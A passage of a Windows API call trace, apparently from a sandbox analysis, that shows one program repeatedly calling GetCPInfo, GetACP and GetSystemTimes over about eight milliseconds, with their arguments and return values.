lpCPInfo=0x18fa10) returned 1 [0052.322] GetACP () returned 0x4e4 [0052.322] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.322] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.322] GetACP () returned 0x4e4 [0052.322] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.322] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.322] GetACP () returned 0x4e4 [0052.322] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.322] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.322] GetACP () returned 0x4e4 [0052.322] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.322] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.322] GetACP () returned 0x4e4 [0052.322] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.322] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.322] GetACP () returned 0x4e4 [0052.322] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.322] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.323] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.323] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.323] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.323] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.323] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.323] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.323] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.323] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.323] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.323] GetACP () returned 0x4e4 [0052.323] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.324] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.324] GetACP () returned 0x4e4 [0052.324] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.324] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.324] GetACP () returned 0x4e4 [0052.324] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.324] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.324] GetACP () returned 0x4e4 [0052.324] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.324] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.324] GetACP () returned 0x4e4 [0052.324] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.324] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.324] GetACP () returned 0x4e4 [0052.324] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.324] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.324] GetACP () returned 0x4e4 [0052.324] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.324] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.324] GetACP () returned 0x4e4 [0052.324] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.324] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.324] GetACP () returned 0x4e4 [0052.324] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.324] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.324] GetACP () returned 0x4e4 [0052.324] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.325] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.325] GetACP () returned 0x4e4 [0052.325] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.325] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.325] GetACP () returned 0x4e4 [0052.325] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.325] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.325] GetACP () returned 0x4e4 [0052.325] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.325] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.325] GetACP () returned 0x4e4 [0052.325] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.325] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.325] GetACP () returned 0x4e4 [0052.325] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.325] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.325] GetACP () returned 0x4e4 [0052.325] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.325] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.325] GetACP () returned 0x4e4 [0052.325] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.325] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.325] GetACP () returned 0x4e4 [0052.325] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.325] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.325] GetACP () returned 0x4e4 [0052.325] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.326] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.326] GetACP () returned 0x4e4 [0052.326] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.326] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.326] GetACP () returned 0x4e4 [0052.326] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.326] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.326] GetACP () returned 0x4e4 [0052.326] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.326] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.326] GetACP () returned 0x4e4 [0052.326] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.326] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.326] GetACP () returned 0x4e4 [0052.326] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.326] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.326] GetACP () returned 0x4e4 [0052.326] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.326] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.326] GetACP () returned 0x4e4 [0052.326] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.326] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.326] GetACP () returned 0x4e4 [0052.326] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.326] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.326] GetACP () returned 0x4e4 [0052.326] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.327] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.327] GetACP () returned 0x4e4 [0052.327] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.328] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.328] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.328] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.328] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.328] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.328] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.328] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.328] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.328] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.329] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.329] GetACP () returned 0x4e4 [0052.329] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.329] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.329] GetACP () returned 0x4e4 [0052.329] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.329] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.329] GetACP () returned 0x4e4 [0052.329] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.329] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.329] GetACP () returned 0x4e4 [0052.329] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.329] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.329] GetACP () returned 0x4e4 [0052.329] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.329] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.329] GetACP () returned 0x4e4 [0052.329] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.329] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.329] GetACP () returned 0x4e4 [0052.329] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.329] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.329] GetACP () returned 0x4e4 [0052.329] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.329] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.329] GetACP () returned 0x4e4 [0052.329] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.330] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.330] GetACP () returned 0x4e4 [0052.330] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.330] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.330] GetACP () returned 0x4e4 [0052.330] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.330] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.330] GetACP () returned 0x4e4 [0052.330] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.330] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.330] GetACP () returned 0x4e4 [0052.330] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.330] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.330] GetACP () returned 0x4e4 [0052.330] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.330] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.330] GetACP () returned 0x4e4 [0052.330] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | 